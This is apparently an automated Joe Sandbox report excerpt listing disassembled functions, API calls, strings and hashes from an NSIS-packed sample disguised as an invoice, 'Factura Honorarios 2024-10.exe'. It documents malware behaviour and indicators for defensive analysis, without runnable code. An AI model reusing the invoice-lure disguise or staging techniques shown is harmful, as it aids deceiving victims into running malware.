Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"$1033$C:\Program Files (x86)\shaw$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Factura Honorarios 2024-10.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$kernel32::EnumResourceTypesA(i 0,i r8,i 0)$~nsu.tmp
API String ID: 4107622049-32076518
Opcode ID: 7dc04cae1505df307541da29feb1b78f76a738656bf7d790261999e19a40ed68
Instruction ID: ad4a0f84636c0b66377e35c31726649c2eaf1ae8fb353dd82aac126218056701
Opcode Fuzzy Hash: 7dc04cae1505df307541da29feb1b78f76a738656bf7d790261999e19a40ed68
Instruction Fuzzy Hash: 99B1D030904210BAD7207F629D49A7B3EACEB45706F40497FF441B62E2D7BC9941CB6E

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BF
GetDlgItem.USER32(?,000003EE), ref: 004051CE
GetClientRect.USER32(?,?), ref: 0040520B
GetSystemMetrics.USER32(00000015), ref: 00405213
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405234
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405245
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405258
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405266
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405279
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040529B
ShowWindow.USER32(?,00000008), ref: 004052AF
GetDlgItem.USER32(?,000003EC), ref: 004052D0
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004052E0
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052F9
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405305
GetDlgItem.USER32(?,000003F8), ref: 004051DD

Part of subcall function 00403FF1: SendMessageW.USER32(00000028,?,?,00403E1D), ref: 00403FFF

GetDlgItem.USER32(?,000003EC), ref: 00405322
CreateThread.KERNELBASE(00000000,00000000,Function_000050F4,00000000), ref: 00405330
CloseHandle.KERNELBASE(00000000), ref: 00405337
ShowWindow.USER32(00000000), ref: 0040535B
ShowWindow.USER32(?,00000008), ref: 00405360
ShowWindow.USER32(00000008), ref: 004053AA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053DE
CreatePopupMenu.USER32 ref: 004053EF
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405403
GetWindowRect.USER32(?,?), ref: 00405423
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040543C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405474
OpenClipboard.USER32(00000000), ref: 00405484
EmptyClipboard.USER32 ref: 0040548A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405496
GlobalLock.KERNEL32(00000000), ref: 004054A0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004054B4
GlobalUnlock.KERNEL32(00000000), ref: 004054D4
SetClipboardData.USER32(0000000D,00000000), ref: 004054DF
CloseClipboard.USER32 ref: 004054E5

Strings

{, xrefs: 004053C8

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: da6ea4901efb283be28e634786642a951ca9a14736cadbfe75f68e92e901532f
Instruction ID: 0991f248181b02e880a99382a637b1aa596eb82eb2a2f586ae382473c4d6dcb0
Opcode Fuzzy Hash: da6ea4901efb283be28e634786642a951ca9a14736cadbfe75f68e92e901532f
Instruction Fuzzy Hash: 9CB15970900209FFEB219F60DD89AAE7B79FB04355F00807AFA01BA1A0C7755E52DF69

Function 00403741 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

lstrcatW.KERNEL32(1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 004037C2
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 00403842
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000), ref: 00403855
GetFileAttributesW.KERNEL32(Call), ref: 00403860
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer), ref: 004038A9

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

RegisterClassW.USER32(00428140), ref: 004038E6
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004038FE
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
LoadLibraryW.KERNELBASE(RichEd20), ref: 0040397A
LoadLibraryW.KERNEL32(RichEd32), ref: 00403985
GetClassInfoW.USER32(00000000,RichEdit20W,00428140), ref: 00403995
GetClassInfoW.USER32(00000000,RichEdit,00428140), ref: 004039A2
RegisterClassW.USER32(00428140), ref: 004039AB
DialogBoxParamW.USER32(?,00000000,00403AE4,00000000), ref: 004039CA

Strings

1033, xrefs: 00403761, 004037BD
_Nb, xrefs: 004038C5, 0040392D
.DEFAULT\Control Panel\International, xrefs: 004037AD
RichEd20, xrefs: 00403975
RichEd32, xrefs: 00403980
Call, xrefs: 00403809, 00403812, 00403820, 0040386F, 00403875
.exe, xrefs: 0040384F
RichEdit20W, xrefs: 0040398D, 00403993
"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe", xrefs: 00403744
C:\Users\user\AppData\Local\Temp\, xrefs: 0040374D
RichEdit, xrefs: 0040399C
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 004037D1, 004037D9, 0040387C, 00403882, 00403892
Control Panel\Desktop\ResourceLocale, xrefs: 00403775

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-3961259900
Opcode ID: ac3d5c1165921db0f3dc03f3453a2ea74269edb9cc618bb3ebb87fcdaaa4c481
Instruction ID: afa308160dea80a5d8dcbd85ebd8b3f8f2b3ac55536d549029ec0fdf087277f4
Opcode Fuzzy Hash: ac3d5c1165921db0f3dc03f3453a2ea74269edb9cc618bb3ebb87fcdaaa4c481
Instruction Fuzzy Hash: 5D61C471644300BAE720AF269C4AF3B3A6CEB45745F80447FF940B62E1DB799D12CA2D

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,?,00405058,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,00000000,0040FE48), ref: 00405E5C
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405EDA
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00405EED
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405F29
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00405F37
CoTaskMemFree.OLE32(?), ref: 00405F42
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F66
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,?,00405058,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,00000000,0040FE48), ref: 00405FC0

Strings

Call, xrefs: 00405DC3, 00405EA3, 00405EC4, 00405ED9, 00405EEC, 00405F08, 00405F33, 00405F65, 00405F6B, 00405F85, 00405F99, 00405FB9, 00405FBF, 00405FCB, 00405FFE
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F60
Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll, xrefs: 00405DBE
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EA8

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3188445439
Opcode ID: bb187ed8235d5e602cac5fb493e7f0f28f0e0d380d5fcb884fe186b1f5943fdc
Instruction ID: 8be6bcb63ccaebc5f1bc3563bf1d434f80ac3f189a087fad5798c32c49afab67
Opcode Fuzzy Hash: bb187ed8235d5e602cac5fb493e7f0f28f0e0d380d5fcb884fe186b1f5943fdc
Instruction Fuzzy Hash: 3661D271A00906ABEF209F25CC44AAF37A5EF54314F10813BE955BA2D0D73D5A81CF9E

Function 004055FF Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 00405628
lstrcatW.KERNEL32(dannebrogsordnen\gypseian.tof,\*.*,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 00405670
lstrcatW.KERNEL32(?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 00405693
lstrlenW.KERNEL32(?,?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 00405699
FindFirstFileW.KERNELBASE(dannebrogsordnen\gypseian.tof,?,?,?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 004056A9
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405749
FindClose.KERNEL32(00000000), ref: 00405758

Strings

"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe", xrefs: 00405608
C:\Users\user\AppData\Local\Temp\, xrefs: 0040560D
dannebrogsordnen\gypseian.tof, xrefs: 00405658, 0040565E, 0040566F, 004056A8
\*.*, xrefs: 0040566A

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$dannebrogsordnen\gypseian.tof
API String ID: 2035342205-1371951161
Opcode ID: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction ID: b79195ecc2de65d8d99f91511e5e2c7060301b719c54f9eae921112220d3ef15
Opcode Fuzzy Hash: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction Fuzzy Hash: 2C41CF30901A14F6DB216B618C89EAF7678EF45724F60457BF804721D1D77C89C1EE6E

Function 004060BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004256E8,C:\,00405913,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004060C5
FindClose.KERNEL32(00000000), ref: 004060D1

Strings

VB, xrefs: 004060BB
C:\, xrefs: 004060BA

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\$VB
API String ID: 2295610775-997398997
Opcode ID: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction ID: f9ddfc5d4f3467e36225d2e4908305aa5d63d15eb4a774a72597514f161c5606
Opcode Fuzzy Hash: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction Fuzzy Hash: 95D012719890309BC2105B386D0C84B7A589F153317528F73F42AF23E0C7388C6596AD

Function 004063CC Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
